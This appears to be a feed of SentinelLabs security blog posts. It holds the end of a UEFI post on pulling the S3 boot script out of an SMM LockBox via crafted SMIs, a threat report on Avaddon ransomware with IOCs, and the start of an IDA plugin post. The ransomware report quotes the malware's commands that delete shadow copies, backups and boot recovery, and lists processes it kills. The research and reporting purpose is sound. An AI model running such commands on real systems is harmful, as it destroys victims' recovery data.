Figure 8 – Probing for AcpiGlobalVariable

Unfortunately, it seems that for some reason CHIPSEC failed to find or query this variable altogether. After digging through some old EDK2 commits, we eventually managed to pinpoint the reason for this in a commit dating back to 2014 that removed the runtime attribute from AcpiGlobalVariable. As was mentioned in the previous blog posts, variables that don’t have the EFI_VARIABLE_RUNTIME_ACCESS attribute cannot be queried from the operating system and are only accessible for the duration of the boot process (i.e., before the boot loader calls ExitBootServices).

Now that we understand the root cause of the problem, the question is whether we can come up with some clever tricks to extract the boot script in spite of the fact that the variable that contains it is inaccessible to us. It turns out that not only is the answer to this question positive but also that we have at least two distinct ways at our disposal to do so.

Method #1: Reading AcpiGlobalVariable From an Offline Dump

By now we know that AcpiGlobalVariable doesn’t have the EFI_VARIABLE_RUNTIME_ACCESS attribute, and therefore it can’t be enumerated from the OS. Alas, these restrictions only apply to a live, running system. In other words, as long as this variable exists physically on the SPI flash there is nothing to prevent us from reading it using an offline dump of the firmware.

Given that premise, we can devise the following “algorithm” for reading the S3 boot script:

  • Dump the UEFI firmware to a file (can be done simply by running python chipsec_util.py spi dump rom.bin, and see part 1 for more details).
  • Open rom.bin in UEFITool and search for AcpiGlobalVariable. Use the ‘Body hex view’ option to read the contents of this variable and interpret the data as a little-endian pointer. This pointer should hold the physical address of the ACPI_VARIABLE_SET_COMPATIBILITY structure in memory.
Figure 9 – Reading AcpiGlobalVariable from an offline dump.
  • Feed this address into a physical memory viewer such as RW-Everything, and read the QWORD value at offset 0x18 (corresponding to the AcpiBootScriptTable member)
Figure 10 – Reading ACPI_VARIABLE_SET_COMPATIBILITY from physical memory.
  • Now, cross your fingers and pass this address as an additional argument (-a) to CHIPSEC. If all goes well, CHIPSEC should now be able to parse the boot script and scan it for any potential vulnerabilities.
Figure 11 – Manually feeding CHIPSEC the address of the boot script.

After we uncovered the boot script in physical memory this way, we tried modifying it for the sake of disabling certain security measures. However, after completing a full sleep-resume cycle, the contents of the script were “magically” restored. This strongly suggested that the pointer we obtained only points to a copy of the boot script, while the source is saved someplace else. Cr4sh probably encountered this phenomenon back in 2016, which is why he writes:

Figure 12 – The original copy of the S3 boot script is stored inside a SMM LockBox.

Now, all we have to do is understand what an SMM LockBox is and how we can extract the boot script out of it.

Method #2: Extracting the Boot Script From an SMM LockBox

As mentioned earlier, the S3 boot script is in charge of restoring the platform’s configuration to its pre-sleep state. This usually includes re-enabling and locking various security settings which were lost during sleep. Because of its sensitive and privileged nature, the boot script itself must be kept in a memory region which is guarded against malicious attempts to modify it. The main problem is that the threat vector includes not only attackers with user-mode permissions but also local attackers with kernel-mode privileges. Given that kernel-level code has full access to physical memory, how can the firmware store the boot script such that it will be tamper proof?

A Whirlwind Tour of SMM

Enter SMM. SMM, or System Management Mode, is one of the operating modes found in every Intel-compatible CPU and dates back to the old i386 days. Historically, SMM was intended to provide firmware developers with an isolated execution space where they can implement support for features such as APM (Advanced Power Management), Plug-and-Play and so on. Over the years, OEMs started shifting more and more of their proprietary code base into SMM, and the end result is that a typical firmware image usually contains a magnitude of dozens of different modules that all operate in this mode.

Figure 13 – A typical firmware image usually contains dozens of different SMM modules.

Schematically, the relationship between SMM and the other, more familiar operating modes of the CPU is usually depicted in the Intel manuals as follows:

Figure 14 – SMM and its relationships with the other operating modes of Intel CPUs.

From the figure above, some important facts about SMM can be deduced:

  • The processor transitions from its current operation mode to SMM in response to a System Management Interrupt, or SMI for short. The exact nature of these SMIs will be discussed in the next section.
  • Transition to SMM can happen from every CPU mode and is completely transparent to the operating system. That means that when an SMI is triggered, the operating system’s kernel is preempted and control is passed to a dedicated routine called the SMI handler.
  • After the SMI handler finishes servicing the interrupt, it can make the processor exit SMM and return to its previous state by executing the rsm instruction.

System Management Interrupts

A typical computer contains a plethora of different devices that are capable of generating an SMI. Still, from the perspective of any security-oriented research, the most important SMI source is the software-generated SMI. This type of SMI can be triggered synchronously by software, given it is running with ring 0 (kernel) privileges. To generate a software SMI, we take advantage of the APM chip found on virtually every Intel-compatible computer.

The software interface to the APMC consists of two I/O ports: 0xB2 and 0xB3.

  • Port 0xB3 is usually referred to as a status port, even though this description might be a bit misleading. In practice, it is used as a scratchpad register that can be written freely by software.
  • Port 0xB2, on the other hand, is the code port. Writing a single byte to this port using the outb instruction causes the APM chip to assert the SMI# pin of the processor.
Figure 15 – Under ‘Device Manager’, the APMC usually appears just as a generic ‘Motherboard resources’ device.

A common pattern to generate a software SMI using these two I/O ports is as follows: first, pass any arguments to the SMI handler by writing them to port 0xB3. Afterwards, write port 0xB2 to actually trigger an SMI. In case the firmware offers several different SMI handlers, the exact byte value written to port 0xB2 can be used to select the particular handler to invoke. This idea is demonstrated clearly in the ThinkPwn exploit by Cr4sh:

Figure 16 – Code to generate a software-based SMI.

Communicating with SMI Handlers

To facilitate easy, flexible and secure communication with SMI handlers, most UEFI implementations offer the EFI_SMM_COMMUNICATION_PROTOCOL. The main workhorse of this protocol is the Communicate() method, which basically acts as the kernel-to-SMM equivalent of a system call; being capable of invoking SMI handlers from a non-SMM context, as well as passing buffers and status codes back and forth between the two modes. In EDK2 and other firmwares built on top of it, this protocol is implemented by the SmmCommunicationCommunicate() function taken from PiSmmIpl.c:

Figure 17 – Code for SmmCommunicationCommunicate (error checks omitted for brevity)

Essentially, this routine takes care of two things:

  • First (1), it places the user-supplied buffer and size arguments into well-known locations inside the gSmmCorePrivate structure. Doing so allows the “server” side of the protocol (in SMM) to quickly find the arguments that should be passed to the SMI handler.
  • Second (2), it uses the Trigger() method of EFI_SMM_CONTROL2_PROTOCOL to generate a software SMI.

Under the hood, Trigger() does little more than writing to the two I/O ports of the APMC like we previously described:

Figure 18 – EDK2 code to trigger a SW SMI.

To distinguish between different SMI handlers, clients of the communication protocol are expected to prefix all actual data with an EFI_SMM_COMMUNICATE_HEADER structure. This structure begins with a HeaderGuid member which allows the “server” side of the protocol (in SMM) to disambiguate the message and uniquely identify the particular handler the client wishes to invoke.

Figure 19 – Header for SMM communication buffer.

Communicating with SMI handlers directly from the OS is a bit trickier but not impossible. The main hurdle is that SMM_COMMUNICATION_PROTOCOL is only available during boot time, so if we’re running code on top of an OS we have no choice but to replicate all its operations manually. The procedure for that is comprised out of the following steps:

  1. Find the GUID for the SMI handler we wish to invoke.
  2. Serialize all the arguments for this SMI as a binary buffer and prefix them with a EFI_SMM_COMMUNICATE_HEADER structure.
  3. Find the gSmmCorePrivateData structure in memory. This can be done by simply scanning physical memory pages for the smmc magic signature.
  4. Write the serialized arguments buffer to gSmmCorePrivate->CommunicationBuffer and its corresponding size to gSmmCorePrivate->BufferSize.
  5. Trigger an SMI using the APMC.

Luckily for us, we don’t have to perform all these tedious and error prone steps by hand as CHIPSEC already did most of the heavy lifting for us. The CHIPSEC command to trigger Communicate()-based SMIs goes as follows:

chipsec_util.py smi smmc <RT_code_start> <RT_code_end> <GUID> <payload_loc> <payload_file> [port]

where:

  • <RT_code_start> <RT_code_end>: Physical address range where firmware runtime code lives. This range will be used to limit the search for the gSmmCorePrivate structure. To get this address range, boot into the UEFI shell and run the memmap command. Then, search the output for regions that are marked as RT_code and write them down.
Figure 20 – Searching for runtime code memory through the memmap command (source).
  • <GUID>: Uniquely identifying the SMI handler.
  • <payload_loc>: Address in physical memory which will hold the buffer to be conveyed to SMRAM. To avoid clashing with memory regions that are already in use, we suggest using an unused (zeroed) page taken from the RT_data region.
  • <payload_file>: A binary file containing the serialized arguments for the SMI handler.
  • <port>: Byte value that will be written to port 0xB2 when triggering the SMI. Note that by default EDK2 generates SMIs with I/O ports 0xB2 and 0xB3 both equal to zero, but this is not mandatory and in practice the firmware might choose some other value. For example, on our T490 laptop the firmware uses a value of 0xFF by default:
Figure 21 – Actual implementation for Trigger() uses a port value of 0xFF by default.

SMRAM

SMM code runs from a special region of physical memory called System Management RAM, or SMRAM for short. The Intel architecture coerces SMRAM to contain at least the following:

  • SMI entry point: Upon entering SMM, the CPU is put back into 16-bit execution mode with paging disabled. The SMI entry point is in charge of switching the processor back to long mode and re-enabling paging. Afterwards, it can call any handler registered by the firmware to actually handle the event.
  • SMM State Save Area: Like any other kind of interrupt, before executing the SMI handler the CPU must save its current execution so that it can be restored later on. For this purpose, SMM has a 64-KB state save area spanning addresses [SMBASE + 8000H + 7E00H] to [SMBASE + 8000H + 7FFFH]. The registers contained in the state save area are saved automatically by the CPU upon entering SMM, and are restored as part of processing the rsm instruction.
    Figure 22 – Schematic representation of SMRAM.
  • SMM code and data: The other portions of SMRAM contain the code and data that make up the various SMM modules stored in the firmware image. Besides that, additional memory is reserved to provide runtime support structures such as a call stack, a heap for dynamically allocated memory, etc.

On modern platforms, SMRAM can be found in one of several memory regions:

  • CSEG: The compatibility SMRAM segment, which spans physical addresses 0xA0000-0xBFFFF. At first glance, it seems like this address range overlaps with the MMIO range of the legacy video buffer. In the next paragraph we’ll see exactly how the memory controller handles this discrepancy.
    Figure 23 – The address range for CSEG overlaps with that of the legacy video buffer.

    To check if CSEG is enabled on your own machine, simply run the chipsec_main.py -m common.smm command and take a look at the G_SMRAME bit:

    Figure 24 – Testing whether CSEG is enabled (G_SMRAME == 1).
  • HSEG: The high SMRAM segment was introduced to let the CPU access CSEG by remapping a much higher address range: 0xFEDA0000-0xFEDBFFFF. This segment is no longer supported by modern (PCH-based) chipsets and therefore we’ll mostly ignore it.
  • TSEG: The top of main memory is the de facto standard region of SMRAM memory. To test whether or not your machine supports TSEG simply run the common.smm_dma CHIPSEC module:
    Figure 25 – Retrieving the address range for TSEG.

Each of the different SMRAM segments provides its own configuration registers for closing and locking the respective region. Once closed and locked, only attempts to access SMRAM while the CPU already executes in SMM will be forwarded to the memory controller. All other attempts to access SMRAM from a non-SMM context will be remapped by the chipset or simply discarded.

Figure 26 – Once closed, attempts to access CSEG from a non-SMM context will go to the legacy video buffer.

Because this unique access pattern is enforced by the hardware, SMRAM is an ideal place to store secrets and other confidential data which must remain protected even in the face of kernel-level attacks. To facilitate saving data into and restoring data out of SMRAM in a generic manner, modern UEFI implementations expose a special protocol called SMM LockBox.

SMM Lock Box Protocol

Essentially, SMM lock box is a boot-time protocol that lets clients save data into and restore data out of SMRAM in a generic and well-defined way. It supports 5 basic types of operations:


In EDK2 and its derived implementations, we can clearly see that SMM lock boxes are used extensively by BootScriptSave.c to seal the S3 boot script once it’s ready. Given that the boot script is saved to SMRAM by LockBoxSave, what prevents us from revealing it by calling the inverse function RestoreLockBox?

Figure 27 – The S3 boot script is saved to a SMM lock box.

Extracting the S3 Boot Script

To recap so far: our objective is to invoke RestoreLockBox with the GUID identifying the S3 boot script. Obviously, any implementation of an SMM lock box must include at least two components:

  • A “server” side, implemented in SMM and reachable via an SMI.
  • A “client” side, which takes care of serializing the arguments for the call into the communication buffer and then actually triggering the SMI.

Our main problem is that we’re running from a live operating system and thus we can’t link against the library which implements the client side of the lock box protocol. As a fallback, our best shot would be to peek into the implementation of the client-side of RestoreLockBox and hope we could mimic it using primitives which are already at our disposal. In EDK2, the client-side of the LockBox protocol is implemented in SmmLockBoxDxeLib.c. The code for RestoreLockBox goes as follows (error checks omitted):

Figure 28 – Client side of RestoreLockBox.

Logically, this code can be divided into three steps:

  1. First, the communication buffer for the SMI is retrieved. Recall that SMM_COMMUNICATION_PROTOCOL demands every message to be prefixed with an EFI_SMM_COMMUNICATE_HEADER structure, and so the code sets HeaderGuid to gEfiSmmLockBoxCommunicationGuid (2a3cfebd-27e8-4d0a-8b79-d688c2a3e1c0) and MessageLength to the size of the EFI_SMM_LOCK_BOX_PARAMETER_RESTORE structure that immediately follows the header.
  2. In step 2, the memory beyond the header is interpreted as EFI_SMM_LOCK_BOX_PARAMETER_RESTORE and then initialized as follows:
    1. Header.Command is set to 3 (EFI_SMM_LOCK_BOX_COMMAND_RESTORE)
    2. Header.DataLength is initialized to the size of the parameters structure.
    3. Guid is initialized to uniquely identify the lock box we wish to restore. In the case of the S3 boot script, it should be set to {AEA6B965-DCF5-4311-B4B8-0F12464494D2}.
    4. Buffer is set to the physical address where the contents of the lock box will be restored. From our experiments, this address must fall within the boundaries of a region that has the EFI_MEMORY_RUNTIME attribute set, otherwise the system will freeze!
    5. Length is set to indicate the number of bytes we wish to read from the lock box.
  3. Lastly, in step 3 a SW SMI is triggered by and the entire communication buffer is conveyed to SMRAM, where the server-side of EFI_SMM_LOCK_BOX_PROTOCOL will inspect it and dispatch it to the appropriate handler function.

Putting it all together, we could generate the same SMI with CHIPSEC as follows:

  1. Boot into the UEFI shell and examine the output of the memmap command. Write down the regions that have the EFI_MEMORY_RUNTIME attribute set (either RT_Code or RT_Data).
    Figure 29 – Searching for runtime memory regions in the output of the memmap command.
  2. Pick up one of the pages in the RT_Data section and designate it to hold the communication buffer. Before proceeding to the next step, make sure to use RW-Everything to verify the memory is zero initialized (as an indication it’s not currently in use).
    Figure 30 – Use RW-Everything to verify the physical page is not in use.
  3. Craft a binary file with the arguments for the restore operation and save it with an appropriate name, say s3_restore.bin. The file should look something like this:
    Figure 31 – The file containing the serialized arguments for the restore operation.

    Two things to notice about this file:

    1. The address for the restore operation is at offset 0x30 from the start of the physical page. The number 0x30 was not chosen arbitrarily, but rather it is the size of the communication buffer itself. If all goes well, the end result would be that the boot script contents will immediately follow the communication buffer in memory.
    2. Note that we initially set the number of bytes to restore to 0. Because of that, on output we expect the handler to return a failure code and overwrite this portion of the communication buffer with the actual number of bytes the boot script spans.
  4. Send an SMI to the lock box handler and observe the number of bytes required to complete the operation successfully. By examining the output buffer, we can see (in red) that the operation completed with EFI_BUFFER_TOO_SMALL (0x8000000000000005) and that the required buffer size (in orange) is 0x4000 bytes:
    Figure 32 – Probing for the actual size of the boot script.
  5. Modify the file holding the communication buffer to reflect the newly probed size:
    Figure 33 – The communication buffer is modified to reflect the actual size of the boot script.
  6. Now issue the same SMI again. This time we’re expecting EFI_SUCCESS to be returned as the status code (highlighted in red below):
    Figure 34 – The RestoreLockBox SMI returns EFI_SUCCESS.
  7. View the target address using RW-Everything:
    Figure 35 – Memory view after the successful call to RestoreLockBox.
    The memory block at offset 0x30 now begins with 0xAA, which is a pretty good indication that the structure we’re looking at is actually a valid boot script:
    Figure 36 – The start of the boot script table.
  8. Now that we have the boot script readily available, we can further analyze it to find potential misconfigurations, vulnerabilities or any other kind of firmware peculiarities. Enjoy!
Figure 37 – Decoding the boot script using the chipsec_util.py uefi s3bootscript command.

Conclusion

Even though initially it seemed like we bumped into a rock-solid wall, we eventually managed to find our way around the problem and extract the S3 boot script. Along the way, we also covered some important aspects related to SMM. As it turns out, throughout the years SMM has proved to be a very fruitful attack surface for firmware researchers. As such, our next posts in the series will keep exploring this direction, and hopefully we’ll be able to share with you some actual SMM vulnerabilities that we found ourselves. Until then stay safe, take care and keep on learning.

Other Posts in Our UEFI Series

Part 1: Moving From Common-Sense Knowledge About UEFI To Actually Dumping UEFI Firmware
Part 2: Moving From Manual Reverse Engineering of UEFI Modules To Dynamic Emulation of UEFI Firmware
Part 3: Moving From Dynamic Emulation of UEFI Modules To Coverage-Guided Fuzzing of UEFI Firmware

Further Reading

http://blog.cr4.sh/2015/02/exploiting-uefi-boot-script-table.html
http://blog.cr4.sh/2015/07/building-reliable-smm-backdoor-for-uefi.html
http://blog.cr4.sh/2016/02/exploiting-smm-callout-vulnerabilities.html
http://blog.cr4.sh/2016/06/exploring-and-exploiting-lenovo.html
http://blog.cr4.sh/2016/10/exploiting-ami-aptio-firmware.html
https://www.synacktiv.com/en/publications/code-checkmate-in-smm.html
https://www.synacktiv.com/en/publications/through-the-smm-class-and-a-vulnerability-found-there.html
https://opensecuritytraining.info/IntroBIOS_files/Day1_07_Advanced%20×86%20-%20BIOS%20and%20SMM%20Internals%20-%20SMM.pdf
https://opensecuritytraining.info/IntroBIOS_files/Day1_08_Advanced%20×86%20-%20BIOS%20and%20SMM%20Internals%20-%20SMRAM.pdf
https://opensecuritytraining.info/IntroBIOS_files/Day1_09_Advanced%20×86%20-%20BIOS%20and%20SMM%20Internals%20-%20SMM%20and%20Caching.pdf
https://opensecuritytraining.info/IntroBIOS_files/Day1_10_Advanced%20×86%20-%20BIOS%20and%20SMM%20Internals%20-%20Other%20Fun%20with%20SMM.pdf
https://opensecuritytraining.info/IntroBIOS_files/Day1_11_Advanced%20×86%20-%20BIOS%20and%20SMM%20Internals%20-%20SMM%20Conclusion.pdf

The post Adventures From UEFI Land: the Hunt For the S3 Boot Script appeared first on SentinelLabs.

Avaddon RaaS | Breaks Public Decryptor, Continues On Rampage

1 April 2021 at 16:00

The Avaddon ransomware family was first sighted in the wild in February 2020, but fully emerged as a robust Ransomware-as-a-Service (RaaS) model in June of that year. Over the last 9 months or so, the operator behind Avaddon has been successful in building a strong and reliable brand, moving quickly to support affiliates with an update after security researchers released a public decryptor in February 2021. Since then, we have observed a spike in Avaddon activity and note that the actor is actively engaged in developing “Version 2” of this aggressive RaaS offering.

In this post, we detail the rapid development of Avaddon, highlighting the malware author’s ability to adapt to circumstances and maximize payouts for Avaddon affiliates.

Avaddon RaaS Overview

After initial sightings in attacks from February 2020 onwards, Avaddon fully emerged as a RaaS in June of 2020. It was heavily promoted in underground markets as a fast, bespoke, highly-configurable, and well-supported ransomware service.

The Avaddon operator offered partners fairly standard terms with the RaaS taking an initial 25% cut but willing to drop that percentage for higher volume affiliates. Over the following months, Avaddon became one of the more aggressive ransomware groups targeting both individuals and businesses. Following the model of other RaaS families that came before it, Avaddon soon put up a blog site dedicated to leaking victim data should victims fail to pay the ransom demand.

Since its inception, Avaddon refused to accept affiliates targeting CIS (Commonwealth of Independant States) countries. This is in addition to being critical of any dealings with non-Russian-native speaking individuals.

Right out of the gate, Avaddon touted their speed, configurability, and robust feature set. The first version of Avaddon was advertised with the following features:

  • Unique payloads written in C++
  • File encryption via AES256 + RSA2048, supporting full-file encryption & custom parameters
  • Full offline support, initial contact to C2 not required
  • “Impossible” 3rd party decryption
  • Support for Windows 7 and higher
  • Multi-threaded file encryption for max performance
  • Encryption of all local and remote (and accessible) drives
  • IOCP Support for parallel file encryption
  • Persistently encrypts newly written files and newly connected media
  • Ability to spread across network shares (SMB, DFS)
  • Multiple delivery options (script, PowerShell, .EXE payload, .DLL)
  • Payload executes as administrator
  • Encrypts hidden files and volumes
  • Removes trash, Volume Shadow Copies (VSS), and other restore points
  • Termination of processes which inhibit encryption of files
  • Configurable ransom note behavior

Initially, affiliates were able to build and manage their payload via an elegant administration panel hosted via TOR (.onion). The panel allowed for management of specific campaigns, payment types and behaviors, victim tracking and management. It also served as the portal to Avaddon’s technical support resources.

Over the following weeks, Avaddon picked up a great amount of momentum, continued to advertise for recruitments and boasted about their coverage in the press.

In the second half of 2020, Avaddon continued to build its infected base, while also continuing to upgrade the service and payloads.

As AV engines began adding detection rules for Avaddon, the operator responded with frequent updates to ensure the desired level of stealth. In late June 2020, the malware added the option to launch payloads via PowerShell.

In August 2020, some more significant upgrades to the service came in the form of 24/7 support. The actors indicated at the time that 24×7 support for affiliates was now available via chat and ticketing systems.

In addition, Avaddon was one of the early adopters of additional extortion methods to taunt and advertise the breach of non-compliant victims, including the use of targeted advertisements. The authors continued to improve the payloads themselves with better Distributed File System (DFS) support, different encryption mechanisms, and DLL payload support.

New Year 2021 brought further changes to the Avaddon platform. In January, the actor added support for Windows XP and 2003 in the payloads, as well as tweaks to the encryption feature set. Notably, Avaddon was one of the first to add DDoS attacks as yet another intimidation mechanism to their arsenal: If clients failed to comply with the ransom demands, they stood to experience a damaging DDoS attack in addition to their data being leaked to the public, and any tarnishing of their reputation as a result of the breach.

Everything seemed to be going well for the Avaddon RaaS, but then they hit a hurdle.

Avaddon Public Decrypter

In early 2021, a decryption tool for Avaddon was released by Bitdefender. Additionally, an open-source decryptor was also released by researcher Javier Yuste based on his extensive paper detailing the internals of Avaddon.

Under the hood, Avaddon payloads were storing the ‘secret’ session keys for encryption in memory. This allowed analysts and researchers to locate the data and extract the key for analysis and eventual development of the decryption tool. The tool was widely released, and posted to NoMoreRansom.org.

During this period, we even observed actors behind Babuk ransomware offering technical assistance to the Avaddon actors.

Those behind Avaddon were quick to pivot and move to a different model altogether, nullifying the effect of the decryptor. They also offered affiliates an 80% cut for a full month as compensation.

Following the requisite upgrades to address the encryption issues, Avaddon continued to update their services and toolset, in addition to becoming more aggressive with recruitment. February 2021 also saw the addition of Monero support.

Subsequently, we have observed a spike in Avaddon activity, including new victim entries on their blog. The actor’s most recent public statements indicate that the development of Avaddon V2 is well underway.

Avaddon RaaS Technical Breakdown

In the majority of cases, the initial delivery vector for Avaddon is via phishing email. However, affiliates have been known to use RDP along with exploitation of network-centric vulnerabilities. We have observed malicious emails with attached .js payloads, which in turn retrieve the Avaddon payloads from a remote location. In some cases, threat actors have simply attached the ransomware directly to the email messages.

Avaddon payloads perform checks to insure they are not executing on a victim device located in certain regions of CIS.

The GetUserDefaultLCID() function (and/or GetKeyboardLayout()) is used to determine the users’ default locale. The following countries are most frequently excluded from execution:

  • Russia
  • Cherokee Nation
  • Ukraine
  • Tatar
  • Yakut
  • Sakha

A commonly used UAC bypass technique is utilized to ensure that the threat is running with the required privileges. Specifically, this is a UAC bypass via CMSTPLUA COM interface.

Existing Windows tools and utilities are used to manipulate and disable system recovery options, backups, and Volume Shadow Copies. Some syntax can vary across variants. WMIC.EXE is typically used to remove VSS via SHADOWCOPY DELETE /nointeractive.

We have also observed the following commands issued by Avaddon payloads:

  • bcdedit.exe /set {default} recoveryenabled No
  • bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
  • vssadmin.exe Delete Shadows /All /Quiet
  • wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest

While there have been changes to Avaddon’s encryption routine to combat 3rd party decryption, the historic flow, simplified, would be:

  1. Generation of session Key (AES 256)
  2. Update master key (AES 256)
  3. Master key encrypts relevant user and environment data, along with the ransom note (typically Base64)
  4. Files are encrypted via the session key
  5. Append encrypted session key (RSA 2048) to the end of each encrypted file

Avaddon Evasion Techniques

Avaddon can be configured to terminate specific processes. This is frequently done to target security products or processes which might interfere with the encryption process. An example process list would be:

    DefWatch
    ccEvtMgr
    ccSetMgr
    SavRoam
    dbsrv12
    sqlservr
    sqlagent
    Intuit.QuickBooks.FCS
    dbeng8
    sqladhlp
    QBIDPService
    Culserver
    RTVscan
    vmware-usbarbitator64
    vmware-converter
    VMAuthdService
    VMnetDHCP
    VMUSBArbService
    VMwareHostd
    sqlbrowser
    SQLADHLP
    sqlwriter
    msmdsrv
    tomcat6
    QBCFMonitorService

Avaddon has also been known to prioritize the encryption of Microsoft Exchange-related directories.

Most Avaddon payloads will exclude the following critical OS locations from encryption:

    C:\PERFLOGS
    C:\PROGRAM FILES (X86)
    C:\PROGRAMDATA
    C:\USERS\<USER>\APPDATA
    C:\USERS\<USER>\APPDATA\LOCAL\TEMP
    C:\USERS\PUBLIC
    C:\WINDOWS

Persistence mechanisms can also vary, and we have observed variations of Avaddon that utilize the creation of a new Windows service, as well as the use of scheduled tasks for persistence.

Avaddon Post-Infection Behavior

Infected files are renamed with an extension consisting of randomly generated letters. These extensions are unique for each victim.

Earlier versions of Avaddon would also replace the infected hosts’ wallpaper image. The current version presents victims with a ransom note as shown below. Victims are warned that aside from their data being encrypted, the actors “have also downloaded a lot of private data from your network”.

Victims are instructed to visit the Avaddon payment portal via the TOR browser, where they must enter their unique ID (found in the ransom note) to proceed.

The actors behind Avaddon do not wait for victims to become non-compliant before they are named and shamed on the blog. Company names appear with a timer, counting down to the posting time for any data stolen from the targeted environment.

It is important to note that victims appear on the leak site at the point when they are breached, and not just when the actor decides to release their data. This means that a company breach could easily become public knowledge regardless of any action taken by the victim, and potentially at a time where the target company would rather ‘control the release’ of that type of information.

At the time of writing, there are just over sixty companies listed, 19 of which include fully released dumps of sensitive information.

Avaddon does not appear to have any particular preference or scruples when it comes to targets. Whereas some ransomware groups have backed off certain types of targets during the ongoing pandemic, Avaddon victims to date include healthcare-related entities. That said, the most represented industries in their victimology are Information Technology & Services, Food Production, Legal Services, and Manufacturing.

Conclusion

Avaddon is another successful example of the current RaaS model. lt has appeared on the scene and made an impact very quickly. The actors are disciplined with regard to whom they will accept as an affiliate, which ensures some degree of longevity and exclusivity. In addition, they very quickly adopted the more aggressive extortion techniques tied to modern ransomware families. This not only includes the public leaking of data but also the threat of DDoS attacks, personal threats, and advertisement-based taunting.

All of these, along with tight payment requirements for the victims, have put Avaddon in a potentially powerful position. They have yet to garner quite the same amount of media attention as predecessors such as Maze and Egregor, but there is no reason to believe that Avaddon is any less dangerous. At this time, those behind Avaddon are highly-engaged with their community and actively developing and iterating in response to security research and detection. With Avaddon version 2 on the horizon, we only expect to see increased activity from this actor as we move further into 2021.

Indicators of Compromise

SHA1:
c41d5b04b8219df57249ecdba8faa97c3d4a7fc2
c1f6f1e1a27e7be32a3f18440c05951fa7e52eb9
c0fc01350ae774f3817d71710d9a6e9adaba441f
4915feb5b5cccd9e75f0bd4af5e35211353a207e
fc12d7ad112ddabfcd8f82f290d84e637a4d62f8
f540a1f2fdc0670e1a7a3d55e335e70ebe3089f7
880e40932e56e0aa0b0ad8c413b50fca7d771bbe
7e835d1813f2eaf82c5e38eebf3bfd06ed6513e0
a1d6461e833813ccfb77a6929de43ab5383dbb98
a37a3b88a15d31a8951243cd6f3f08149244a67d
3b575420ceea4203152041be00dc80519d1532b5
dd2cce7e2f5dcf0a00e4ec9cdbc028476ceb3583
48385b39f2ad900377aba7442d93663506c2b9c5
60ab0dd2ef31cfb96d52fa0a429c3803417db5c2
5ddb793327e1e89ef8f406be11f97e5489f7a5c1
d680d790167a7f84f7e531b2d16db0a0e3359f73
cf5920569b7d802763463b2faf4bbd2cdc21cfad
f94fda611b71bd565c1d603864e21e9cfd3ca99e
40e0fff64ba685d97fe143880a7b01c0137b4ceb
9087d7b5f8b62a2afa4f229b7e254971d4d9b5c3
6a6956aff077aeda5b22873cfb891632fbce6bc7
35831310fa4f11909c44b5db64c44b1064ac1d35

SHA256:
28adb5fa487a7d726b8bad629736641aadbdacca5e4f417acc791d0e853924a7
0a052eff71641ff91897af5bdecb4a98ed3cb32bcb6ff86c4396b1e3ceee0184
0ff4058f709d278ed662719b9627618c48e7a656c59f6bfecda9081c7cbd742b
146e554f0d56db9a88224cd6921744fdfe1f8ee4a9e3ac79711f9ab15f9d3c7f
165c5c883fd4fd36758bcba6baf2faffb77d2f4872ffd5ee918a16f91de5a8a8
2946ef53c8fec94dcdf9d3a1afc077ee9a3869eacb0879cb082ee0ce3de6a2e7
29b5a12cda22a30533e22620ae89c4a36c9235714f4bad2e3944c38acb3c5eee
331177ca9c2bf0c6ac4acd5d2d40c77991bb5edb6e546913528b1665d8b501f3
46a8c1e768f632d69d06bfbd93932d102965c9e3f7c37d4a92e30aaeca905675
5252cc9dd3a35f392cc50b298de47838298128f4a1924f9eb0756039ce1e4fa2
61126de1b795b976f3ac878f48e88fa77a87d7308ba57c7642b9e1068403a496
64cfe726643c7783b0f13a2927ab330e35e94a9125122b0cc230eec2bea27dd1
6884d700284bc3158dbeb8745bcda3e3b17b69ad049528b125b36e2455bb6b27
6a4875ddaceaa91fb3369f0f6d962f77442daf1b1d97733457d12bcabdf79441
8d14c0c8faf6249b67a1d19b7bd1404eb416304d8f5c73b3bdc9c69367e829de
98388773dc5da7f73a32a08613404029c7cd23078d697700aec6b573b2fa8e09
a5e4cb2f47de005570110b7f3ef1f4b600894469d0561b7e5653671a484a913b
caf57646723fe7c34f89618d96af3c2b82816f5d995fd7b951f32571166d3768
dab7eb2503e0d61d02e6156a47361da97afc53c1dee17c420a0a05de891172c3
de48c7d7f4865099dba96b6e2c6dca54187fb64e07c319660f072b851ec8b3b3
f9b748cf35278dc4bfaa2127ca1d6016fafbeb768b1a09c7ab58560632dbd637
fa4bc4a1dd461ecaadd094a9a21668ecdbb60022fb1b088854a8d13c09155a5c

MITRE ATT&CK

T1027 Obfuscated Files or Information
T1497.001 Virtualization/Sandbox Evasion / System Checks
T1202 Indirect Command Execution
T1078 Valid Accounts
T1562.001 Impair Defenses: Disable or Modify Tools
T1070.004 Indicator Removal on Host / File Deletion
T1112 Modify Registry
T1012 Query Registry
T1082 System Information Discovery
T1120 Peripheral Device Discovery
T1490 Inhibit System Recovery
T1548.002 Abuse Elevation Control Mechanism / Bypass User Account Control
T1566 Phishing
T1498.001 Network Denial of Service / Direct Network Flood
T1486 Data Encrypted for Impact
T1543.003 Create or Modify System Process: Windows Service

The post Avaddon RaaS | Breaks Public Decryptor, Continues On Rampage appeared first on SentinelLabs.

Keep Malware Off Your Disk With SentinelOne’s IDA Pro Memory Loader Plugin

25 March 2021 at 11:26

Recent events have highlighted the fact that security researchers are high value targets for threat actors, and given that we deal with malware samples day in and day out, the possibility of either an accidental or intentional compromise is something we all have to take extra precautions to prevent.

Most security researchers will have some kind of AV installed such that downloading a malicious file should trigger a static detection when it is written to disk, but that raises two problems. If the researcher is actively investigating a sample and the AV throws a static detection, this can hamper the very work the researcher is employed to do. Second, it’s good practice not to put known malicious files on your PC: you just might execute them by mistake and/or make your machine “dirty” (in terms of IOCs found on your machine).

One solution to this problem would be to avoid writing samples to disk. As malware reverse engineers, we have to load malware, shellcode and assorted binaries into IDA on a daily basis. After a suggestion from our team member Kasif Dekel, we decided to tackle this problem by creating an IDA plugin that loads a binary into IDA without writing it to disk. We have made this plugin publicly available for other researchers to use. In this post, we’ll describe our Memory Loader plugin’s features, installation and usage.

Memory Loader Plugin

If you have not used IDA Pro plugins before, a plugin basically takes IDA Pro database functionality and extends it. For example, a plugin can take all function entry points and mark them in the graph in red, making it easier to spot them. The plugin feature runs after the IDA database is initialized, meaning there is already a binary loaded into the database. A loader loads a binary into the IDA database.

